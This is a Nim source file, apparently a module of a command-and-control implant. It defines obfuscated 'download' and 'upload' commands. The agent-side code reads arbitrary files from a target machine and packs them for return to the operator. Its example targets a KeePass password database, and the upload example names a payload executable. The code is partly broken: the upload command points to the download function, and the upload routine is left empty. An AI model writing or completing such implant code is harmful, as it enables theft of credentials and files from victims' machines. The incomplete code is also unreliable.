78 lines
2.6 KiB
Nim
78 lines
2.6 KiB
Nim
import ../common/[types, utils]
|
|
|
|
# Define function prototype
|
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
|
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
|
|
|
|
|
# Command definition (as seq[Command])
|
|
let commands*: seq[Command] = @[
|
|
Command(
|
|
name: protect("download"),
|
|
commandType: CMD_DOWNLOAD,
|
|
description: protect("Download a file."),
|
|
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
|
|
arguments: @[
|
|
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
|
|
],
|
|
execute: executeDownload
|
|
),
|
|
Command(
|
|
name: protect("upload"),
|
|
commandType: CMD_UPLOAD,
|
|
description: protect("Upload a file."),
|
|
example: protect("upload /path/to/payload.exe"),
|
|
arguments: @[
|
|
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
|
],
|
|
execute: executeDownload
|
|
)
|
|
]
|
|
|
|
# Implement execution functions
|
|
when defined(server):
|
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil
|
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil
|
|
|
|
when defined(agent):
|
|
|
|
import os, std/paths, strutils, strformat
|
|
import ../agent/protocol/result
|
|
import ../common/[utils, serialize]
|
|
|
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
|
|
try:
|
|
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
|
|
|
|
echo fmt" [>] Downloading {filePath}"
|
|
|
|
# Read file contents into memory and return them as the result
|
|
var fileBytes = readFile(filePath)
|
|
|
|
# Create result packet for file download
|
|
var packer = Packer.init()
|
|
|
|
packer.add(uint32(filePath.len()))
|
|
packer.addData(string.toBytes(filePath))
|
|
packer.add(uint32(fileBytes.len()))
|
|
packer.addData(string.toBytes(fileBytes))
|
|
|
|
let result = packer.pack()
|
|
|
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
|
|
|
|
except CatchableError as err:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
|
|
|
|
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult =
|
|
try:
|
|
var fileBytes: seq[byte] = task.args[0].data
|
|
|
|
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|